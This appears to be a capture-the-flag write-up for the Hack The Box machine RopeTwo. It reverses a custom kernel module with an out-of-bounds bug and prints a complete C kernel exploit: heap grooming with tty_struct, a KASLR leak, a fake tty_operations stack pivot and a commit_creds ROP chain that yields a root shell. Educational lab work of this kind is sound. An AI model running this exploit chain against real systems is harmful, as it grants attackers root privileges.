The two previous articles, Secrets of V8 Engine and The big heap adventure, explain how to capture the flag of the user r4j
on the hardcore RopeTwo virtual machine available on Hack The Box. To escalate your privileges to root, you have to take one last step – but this step is BIG! Prepare to deal with ROP (yes, this is why the VM was named this way) and kernel exploitation. Your brain will be melting, I promise! Get your popcorn debugger ready and let’s get started!
Intelligence collection
Similar to the user flag (see the previous article), I run LinPEAS and examine the output. Two suspicious lines immediately attract my eye:
[+] Looking for Signature verification failed in dmseg[ 13.882339] ralloc: module verification failed: signature and/or required key missing - tainting kernel--[+] Readable files belonging to root and readable by me but not world readable-rw-r----- 1 root r4j 5856 Jun 1 2020 /usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko
As you can see, an unsigned kernel module has been loaded to the system by the root user, and this module is available for reading. This indicates that kernel exploitation is inevitable!
Static analysis
First of all, I download ralloc.ko and unleash Ghidra on it.
It turns out that ralloc is an LKM (loadable kernel module) that performs various operations with memory after receiving ioctl system calls. In fact, this is a self-written memory management driver (according to the author, a superfast memory allocator) that obviously isn’t free from vulnerabilities.
An LKM is an object file containing code that extends the capabilities of the system kernel. This particular module implements only four functions:
- allocate memory in the kernel address space (kmalloc) – call
ioctl
;0x1000 - free memory in the kernel address space (kfree) – call
ioctl
;0x1001 - copy information from the user address space to the kernel address space (
memcpy(
) – callkernel_addr, user_addr, size) ioctl
; and0x1002 - copy information from the kernel address space to the user address space (
memcpy(
)) – calluser_addr, kernel_addr, size ioctl
.0x1003
Below is the disassembled listing of these functions in the readable form:
case 0x1000: // Function that allocates kernel memory if ((size < 0x401) && (idx < 0x20)) { if (arr[idx].size== 0) { ptr = __kmalloc(size, 0x6000c0); arr[idx].data = ptr; if (ptr != 0) { arr[idx].size = size_alloc + 0x20; return_value = 0; } } } break;case 0x1001: // Function that frees kernel memory if ((idx < 0x20) && arr[idx].data != 0)) { kfree(arr[idx].ptr); arr[idx].size = 0; return_value = 0; } break;case 0x1002: // Function that copies from user space to kernel space if (idx < 0x20) { __dest = arr[idx].data; __src = ptrUserSpace; if ((arr[idx].data != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) { if ((ptrUserSpace & 0xffff000000000000) == 0) { memcpy(__dest, __src, size & 0xffffffff); result = 0; } } } break;case 0x1003: // Function that copies from kernel space to user space if (idx < 0x20) { __dest = ptrUserSpace; __src = arr[idx].data; if ((__src != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) { if ((ptrUserSpace & 0xffff000000000000) == 0) { memcpy(__dest, __src, size & 0xffffffff); result = 0; } } } break;
Take a good loook at the above listing. You may notice the vulnerability right away, it’s glaring! In the meantime, I am going to deploy the test system.
Test system
Kernel debugging requires a VM. To be specific, two VMs, not one! The first VM will be the host where the kernel with debug symbols is installed and where the GDB debugger is running. The second one will run in the KGDB mode (Linux kernel debugger). The two VMs can communicate either over a serial port or over a local network. Below is a scheme illustrating this process.
Several virtualization environments can be used to deploy the test system: VirtualBox, QEMU (the simplest option), or VMware. I chose the first variant. If you want to practice with QEMU, a good tutorial is available on GitHub.
Below is a video explaining in detail how to configure VirtualBox for kernel debugging.
Prior to taking any steps, two main aspects must be clarified. First, what kernel version is used on RopeTwo?
r4j@rope2:
Release: 19.04
5.0.0-38-generic
So, I download and deploy a VM with Ubuntu 19.04. Then I install the required kernel version (as well as my favorite debugging tools and utilities):
apt-get install linux-image-5.0.0-38-generic
Now it is time to clone the VM. The kernel with debug symbols has to be loaded to the host. For this purpose, I need the file linux-image-unsigned-5.
(838.2 MiB).
The kernel debugging mode (KGDB) has to be enabled on the target VM. First, I configure the loader by editing two lines in the file /
:
GRUB_CMDLINE_LINUX="kgdboc=ttyS0,115200"GRUB_CMDLINE_LINUX_DEFAULT="consoleblank=0 nokaslr"
Thus, I instruct KGDB to listen for debugger connections on the ttyS0 port and disable KASLR (kernel address space layout randomization) and console clearing.
Then I execute the update-grub
command to write the parameters to the loader. To make sure that the settings have been saved in the GRUB config, check the file /
.
If I wanted to debug the kernel itself, I would have to add the kgdbwait
parameter to instruct the loader to stop prior to loading the kernel and wait for a GDB connection from the host. But since I am interested in an LKM, not the kernel per se, this isn’t necessary.
Next, I make sure that debug interrupts are enabled in the system:
root@target:/
CONFIG_MAGIC_SYSRQ=y
CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x01b6
CONFIG_MAGIC_SYSRQ_SERIAL=y
as well as the current interrupt flags:
cat /
176
On the target VM, I enable all Magic system interrupt functions:
echo "1" > /proc/sys/kernel/sysrq
echo "kernel.sysrq = 1" >> /etc/sysctl.d/99-sysctl.conf
More details on this matter are available in the documentation.
Now, if you enter the command echo
, the system will freeze and wait for the debugger to connect.
Finally, I have to connect the host and the target together. To do this, I enable Serial Port in the settings on both VMs. On the target VM, it looks as follows.
On the host VM, it looks like shown below.
Note that the “Connect to existing pipe/socket” checkbox must be checked on the host! Accordingly, I launch the target VM first and the host VM second.
Now everything is ready for debugging, and I run the debugger.
Also, KGDB can be activated in VirtualBox by the ‘magic’ keyboard shortcut: Alt-PrintScr-g.
I copy the ralloc.ko module to the target VM and load it using the command insmod
. The main commands used to interact with the kernel modules are:
-
depmod
– display list of dependencies and linked map files for kernel modules; -
insmod
– load module to the kernel; -
lsmod
– display current status of kernel modules; -
modinfo
– display information on kernel module; -
rmmod
– remove module from the kernel; -
uname
– display system information.
After loading the module, you can use the command grep
to view its address map. Remember this command: it will be needed more than once in the near future.
For debugging purposes, I will need the addresses of the .text, .data, and .bss sections:
root@target:
0xffffffffc03fb000
0xffffffffc03fd000
0xffffffffc03fd4c0
Let’s see what protection mechanisms are enabled in the kernel.
r4j@rope2:
flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2
syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid
pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic
cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx clflushopt
sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor
As you can see, SMEP is enabled, while SMAP is not. This can be verified as follows:
r4j@rope2:/
BOOT_IMAGE=/boot/vmlinuz-5.0.0-38-generic root=UUID=8e0d770e-1647-4f8e-9d30-765ce380f9b7 ro maybe-ubiquity nosmap
Supervisor mode execution protection (SMEP) and supervisor mode access prevention (SMAP) are security functions used by the last generations of CPUs. SMEP prevents code execution from the kernel mode in the user address space, while SMAP prevents accidental access to the user address space from the kernel mode. These options are controlled by switching on certain bits in the CR4 register. More information on this matter is available in the Intel documentation (PDF).
KASLR is enabled as well (this is the default variant in new versions of Linux kernel).
Writing exploit
So, what vulnerability is present in ralloc? The answer is in the line arr[
: you can read and write 32 bytes more than the actual size of allocated memory is. Not bad! But how to use this for exploitation?
After reviewing a bunch of kernel exploitation examples (most of them are in Chinese; so, use Google Translate), an action plan emerges in my head. The first thing to pay attention to is that the maximum size of a memory slab is 1024 bytes. And there is another well-known structure that uses the same size: tty_struct
.
info
The TTY core uses tty_struct
to control the current status of a specific port.
If you allocate two adjacent memory slabs and then free the second one and call a pseudoterminal, chances are high that the kernel memory manager loads tty_struct
to the just-freed slab. Accordingly, you will be able to read and write the first 32 bytes of this structure using the OOB (out-of-bounds) vulnerability. This allows to read and overwrite the *ops
pointer located at the beginning of tty_struct
and containing the address of ptm_unix98_ops
and calculate the kernel base address on the basis of its offset. If you know this address, you can construct a ROP chain, place it at a specific address, and redirect the stack pointer to it. To do so, you have to replace the *ops
pointer with a faketty_operations
structure whose ioctl
pointer is substituted with the xchg
gadget. In theory, this plan should work, let’s try to implement it.
I am going to use the oldie-goodie C language to write the exploit. As usual, I start with creating the helper functions. In fact, it’s just one function called by macros with the required parameters:
void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) { long int arg[3]={idx,size,data}; int ret = ioctl(fd, cmd, &arg);}
Now let’s check whether tty_struct
can be loaded to the freed memory slab. As you remember, I need the pointer to ptm_unix98_ops
. First, I find its address:
root@target:
ffffffff820af6a0 r ptm_unix98_ops
Then I use the code below (to save space, I provide only the key lines of code here; the full code for compilation can be restored from the exploit source code at the end of the article):
del(fd,1);del(fd,2);alloc(fd,1,0x400);alloc(fd,2,0x400);del(fd,2);tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);kernel_to_user(fd, 1, 0x420, data);for(int i=128;i<132;i+=2){ printf("%016llx | %016llx\n",data[i],data[i+1]);}
/
is used to create a pair of pseudoterminals: the master and the slave. When a process opens /
, it gets the file descriptor for the pseudoterminal master (PTM), while the pseudoterminal slave (PTS) is created in the /
folder.
I compile the code using the gcc
command and see what happens.
The -static
key instructs the compiler to include all the required libraries in the binary file.
artex@target:
59dfb48431ee39b3 | 0000000000000000
ffff8881923f9cc0 | ffffffff820af6a0
After a few runs, I see the much-desired pointer to ptm_unix98_ops
!
But sometimes I see only junk or zeros. Let’s use GDB to find out why this happens.
I modify the code:
alloc(fd,1,0x400);alloc(fd,2,0x400);data[3]=0xdeadbeef;user_to_kernel(fd, 2, 0x400, data);kernel_to_user(fd, 1, 0x420, data);printf("%016llx",data[131]);
My goal is to allocate two slabs, write data to the second one, and read the first 32 bytes by addressing the first one. I compile my test program and run it several times only to see that I get the 0xdeadbeef
sequence not every time. Let’s check this in GDB.
First, I make interrupt on the target, load the ralloc
addresses to GDB running on the host, and set a breakpoint prior to the __kmalloc
function call (the offset from the beginning of rope2_ioctl
is 0x156):
add-symbol-file ralloc.ko 0xffffffffc03fa000 -s .data 0xffffffffc03fc000 -s .bss 0xffffffffc03fc4c0
b *0xffffffffc03fa156
The sequence of actions performed in GDB should be as follows:
step
__kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788
finish
Value returned is $1 = (void *) 0xffff88818c968000
continue
step
__kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788
finish
Value returned is $2 = (void *) 0xffff888191c2b400
The step
command allows me to proceed to the next instruction (i.e. call the kmalloc function); while the finish
command, to get the value returned by it.
I see that the addresses of the two slabs don’t come one after another (to be specific, this happens sometimes, but not in every instance). Therefore, before freeing the memory for tty_struct
, I have to insert a slab adjacency check. For this purpose, I use a loop with an algorithm similar to the above check (see the exploit code at the end of the article).
After finding the adjacent slabs and writing tty_struct
to the freed memory slab, I will be able to read the required address and calculate the kernel base on its basis. Now it is time for the most exciting part: ROPchain.
The first step is modeling. I need a function enabling me to escalate my privileges to root. One of the most feasible variants is the function commit_creds(
. If I call commit_creds
on behalf of the system and pass prepare_kernel_cred(
to it as a parameter, the UID of my process will become 0. This happens because after receiving NULL as a parameter, prepare_kernel_cred
returns the credentials of the initialization process to init_cred
, and these credentials correspond to the root credentials. It’s also possible to pass the init_cred
structure itself to thecommit_creds
function, and am going to do so. More information about credentials in Linux can be found in the official documentation.
Since SMEP is enabled, I cannot execute the code in the user space and have to use gadgets from the system kernel. Alternatively, I can disable SMEP by placing the 0x6f0 value to the cr4 register. You may try to implement this variant as an exercise, but I am going to use the first option. The following operations have to be performed:
- place
init_cred
(first parameter of the function) to the RDI register; - call
commit_creds
; and - gently return to the user context (trying not to break anything) and run a shell.
The iretq
instruction allows to switch between contexts, but prior to calling it, I have to execute the swapgs
instruction to restore the value of IA32_KERNEL_GS_BASE MSR (model-specific register). When you switch to the kernel mode (for instance, by calling syscall
), swapgs
is called to get a pointer to kernel data structures; accordingly, when you return to the user space, this value has to be returned back to MSR. A detailed description of swapgs
can be found on the website of Felix Cloutier. In addition, the iretq
instruction requires a specific stack structure for correct return to the user space.
Therefore, I have to save the values of these registers prior to calling the ROPchain and restore them when I return to the user space. The following function can be used to save registers:
asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
Now all I have to do is find ROP gadgets and create a ROPchain.
Several different utilities can be used to find ROP gadgets, including ROPgadget
, xrop
, and ropper
. They employ different search algorithms; so, the resultant gadget lists can be slightly different. If a utility cannot find a certain gadget, try another one. I have to perform the following operations:
- unpack the kernel;
- identify the boundaries of the .text segment (gadgets from other areas often don’t work); and
- install and run
ROPgadget
and save all the found gadgets to a file.
root@target:/
root@target:/
ffffffff81000000 T _text
ffffffff81e00e91 T _etext
ROPgadget –binary vmlinux –range 0xfffffff81000000-0xffffffff81e00e91 | sort > rgadget.lst
I use the grep
command to find addresses of the required gadgets in rgadget.
and addresses of init_cred
and commit_creds
in /
(this will be your homework). The objdump
command is used to find iretq
in the kernel:
root@target:/
After finding the addresses, I have to calculate their offsets from the base address (because KASLR is enabled on the server, and I have no choice but to deal with offsets). For this purpose, I write the following macros:
#define BASE 0xffffffff81000000#define OFFSET(addr) ((addr) - (BASE))#define ADDR(offset) (kernel_base + (offset))
The resultant ROPchain is as follows:
unsigned long long rop_chain[] = { // Place init_cred (first parameter of the function) into RDI ADDR(pop_rdi_ret), ADDR(init_cred), // Execute commit_creds(init_cred) // and make the process UID equal to 0 (root) ADDR(commit_creds), // Swap (i.e. restore) values of the registers // GS and MSR (IA32_KERNEL_GS_BASE) ADDR(swapgs), // Dummy for pop rbp in the swapgs gadget 0xdeadbeef, // Switch context to the user space ADDR(iretq), // Run shell shell, // Restore the registers user_cs, user_rflags, user_sp, user_ss};
And the last and most important step is to ‘switch’ the RSP register (the one containing the stack pointer) in the kernel stack so that it points to my ROPchain and get a shell. As you remember, I wrote tty_struct
to the freed memory slab; so, now I can overwrite the first 32 bytes in this structure. The beginning of the structure looks as follows:
tty_struct: int magic; // 4 struct kref kref; // 4 struct device *dev; // 8 struct tty_driver *driver; // 8 const struct tty_operations *ops; // 8 // offset = 4 + 4 + 8 + 8 = 24 bytes = 0x18 ...
I can ‘forge’ the tty_operations
structure and substitute this pointer with my fake structure. What will I get? Below is the beginning of tty_operations
(see its full description here):
struct tty_operations { struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */ int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */ void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */ int (*open)(struct tty_struct *, struct file *); /* 24 8 */ void (*close)(struct tty_struct *, struct file *); /* 32 8 */ void (*shutdown)(struct tty_struct *); /* 40 8 */ void (*cleanup)(struct tty_struct *); /* 48 8 */ int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */ int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */ void (*flush_chars)(struct tty_struct *); /* 72 8 */ int (*write_room)(struct tty_struct *); /* 80 8 */ int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */ int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */ ...
Its thirteenth element is the pointer to ioctl
. If I substitute this pointer, call ioctl
, and pass to it the fd
(file descriptor) that has returned ptmx
, then I will be able to call the required instruction.
I want to replace RSP with the required address; so, I substitute *ioctl
with the address of the gadget xchg
. This address will be contained in rax
when ioctl
is called; accordingly, my gadget xchg
will ‘switch’ the stack pointer to the address ADDR(
(the 32 least-significant bits in rax). This is where I am going to write my ROPchain!
Below is the exploitation scheme.
For debugging purposes, I set a breakpoint at xchg_eax_esp
(break
), take a step forward (step
), and make sure that the kernel stack pointer now ‘looks’ at my ROPchain.
The exploit is ready; below it its full listing:
#define _GNU_SOURCE#include <string.h>#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <fcntl.h>#include <sys/mman.h>#include <sys/ioctl.h>#include <stdbool.h>#define CMD_ALLOC 0x1000#define CMD_FREE 0x1001#define CMD_USER_TO_KERNEL 0x1002#define CMD_KERNEL_TO_USER 0x1003#define BUF_SIZE 0x400#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)/* Macros used to call ralloc functions */#define alloc(fd, idx, size) call_ralloc(fd, idx, size, 0, CMD_ALLOC)#define del(fd, idx) call_ralloc(fd, idx, 0, 0, CMD_FREE)#define user_to_kernel(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_USER_TO_KERNEL)#define kernel_to_user(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_KERNEL_TO_USER)/* Macros used to calculate addresses' offsets */#define BASE 0xffffffff81000000#define OFFSET(addr) ((addr) - (BASE))#define ADDR(offset) (kernel_base + (offset))unsigned long kernel_base = 0;/* ROP Gadgets */typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);commit_creds_func commit_creds = (commit_creds_func) OFFSET(0xffffffff810c0540); // commit_credssize_t init_cred = OFFSET(0xffffffff8265fa00); // init_credsize_t xchg_eax_esp = OFFSET(0xffffffff8104cba4); // xchg eax, esp; ret;size_t pop_rdi_ret = OFFSET(0xffffffff8108b8a0); // pop rdi; ret;size_t iretq = OFFSET(0xffffffff810379fb); // iretqsize_t swapgs = OFFSET(0xffffffff81074b54); // swapgs; pop rbp; ret;/* Variables used to save the user context */unsigned long user_cs;unsigned long user_ss;unsigned long user_sp;unsigned long user_rflags;unsigned long data[0x420]; // Array for operations with rallocsize_t fake_tty_operations[30]; // Array used to substitute the ioctl pointer/* Function for interaction with the ralloc driver */void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) { long int arg[3]={idx,size,data}; int ret = ioctl(fd, cmd, &arg); if (ret < 0) { if (cmd==CMD_USER_TO_KERNEL) err_exit("[!] user_to_kernel copy error"); if (cmd==CMD_KERNEL_TO_USER) err_exit("[!] kernel_to_user copy error"); }}/* Function that calls the shell */void shell() { puts("-=Welcome to root shell=-"); system("/bin/bash");}/* Function that saves the state of the registers */static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory" );}int main () { bool isTRY = true; save_state(); while (isTRY) { // Continue attempts until the address of ptm_unix98_ops is found int index=0x20; int tty_fd; /* Open file descriptor for the driver */ int fd = open("/dev/ralloc", O_RDONLY); if (fd < 0) { err_exit("[!] open /dev/ralloc"); } size_t ptr = 0; data[3]=0xdeadbeef; // Value used to check whether the slabs are adjacent int fake_stack=0; /* Loop that searches for adjacent slabs */ puts("[+] Searching adjacent slabs"); for(int j=0; j<0x20; j+=2) { del(fd,j); // Frozen descriptors clean up del(fd,j+1); alloc(fd,j,BUF_SIZE); alloc(fd,j+1,BUF_SIZE); user_to_kernel(fd, j+1, BUF_SIZE, data); kernel_to_user(fd, j, 0x420, data); // Read 32 bytes out of bound /* Check whether the slabs are adjacent */ if (data[131]==0xdeadbeef) { puts("[+] Adjacent slabs found"); index=j; break; } } if (index==0x20) { puts("[-] Adjacent slabs not found, one more time..\n"); } else { /* Adjacent slabs found */ puts("[+] Inserting tty_struct"); del(fd,index+1); /* Try to place tty_struct to the newly-freed slab */ tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY); kernel_to_user(fd, index, 0x420, data); // Read 32 bytes out of bound /* Compare the value in the freed slab + 0x18 with the mask of the ptm_unix98_ops address (its last bytes are always equal to 6a0) */ ptr = ((data[131] & 0xFFFFFFFF00000FFF)==0xffffffff000006a0 ? data[131] : 0); if (ptr != 0) { printf("[+] ptm_unix98_ops address found: %p\n",data[131]); kernel_base = data[131]-OFFSET(0xffffffff820af6a0); // Calculate kernel_base on the basis of the offset of ptm_unix98_ops printf("[+] Kernel base address is %p\n", kernel_base); fake_tty_operations[12] = ADDR(xchg_eax_esp); // Write the address of the xchg eax esp instruction instead of the ioctl pointer printf("[+] fake_tty_operations.ioctl is %p\n", fake_tty_operations[12]); puts("[+] Preparing ROP chain"); unsigned long lower_address = ADDR(xchg_eax_esp) & 0xFFFFFFFF; // Get 32 least-significant bits of the xchg_eax_esp (stack pivot) address printf("[+] Lower_address is %p\n", lower_address); unsigned long base = ADDR(xchg_eax_esp) & 0xfffff000; // Prepare base for the fake stack in the user space /* Allocate memory for the fake stack */ fake_stack=mmap(base, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0); if (fake_stack == MAP_FAILED) err_exit("[-] mmap"); printf("[+] Payload is mmaped to %p\n", fake_stack); /* ROPchain */ unsigned long long rop_chain[] = { // Place init_cred (first parameter of the function) into RDI ADDR(pop_rdi_ret), ADDR(init_cred), // Execute commit_creds(init_cred) and make the process UID equal to 0 (root) ADDR(commit_creds), // Swap (i.e. restore) values of the GS and MSR registers (IA32_KERNEL_GS_BASE) ADDR(swapgs), // Dummy for pop rbp in the swapgs gadget 0xdeadbeef, // Switch context to the user space ADDR(iretq), // Run shell shell, // Restore the context registers user_cs, user_rflags, user_sp, user_ss }; /* Copy ROPchain to the address that will substitute RSP */ memcpy(lower_address, rop_chain, sizeof(rop_chain)); data[131]=&fake_tty_operations; // Place pointer to fake_tty_operations in the data array puts("[+] Writing function pointer to the driver"); /* Replace the *tty_operations pointer */ user_to_kernel(fd, index, 0x420, data); del(fd,index); del(fd,index+1); puts("[+] Triggering"); isTRY=false; /* Call ioctl and launch the exploit chain */ ioctl(tty_fd, 0, 0); } puts("[*] ptm_unix98_ops not found, one more time...\n"); } } return 0;}
However, after returning to the user space, my exploit crashes with a “Segmentation fault” error. For a ‘regular’ app, this would be a problem, but for exploit, it’s a benefit! After getting this signal, I can bind the shell launch to it, thus, making the exploit even more universal.
So, I add the header file signal.
to the source code and intercept the SIGSEGV
signal using the signal(
function:
#include <signal.h>...int main () { bool isPTM = true; save_state(); signal(SIGSEGV, shell); // Add interception of the SIGSEGV signal ...
Finally, everything is ready, and I grab the much-desired root flag!
I hope that you have learned some new stuff from this article and that it was of interest to you. No doubt, this information will be useful in your pentesting endeavors!
www
- Linux Kernel ROP – Ropping your way to: part1, part 2
- CVE-2017-11176: A step-by-step Linux Kernel exploitation: part 1, part 2, part 3, part 4
- Linux kernel exploit cheatsheet
- The Linux Kernel documentation
- Kernel source code on Bootlin
- Intel 64 and IA-32 Architectures Software Developer’s Manual (PDF)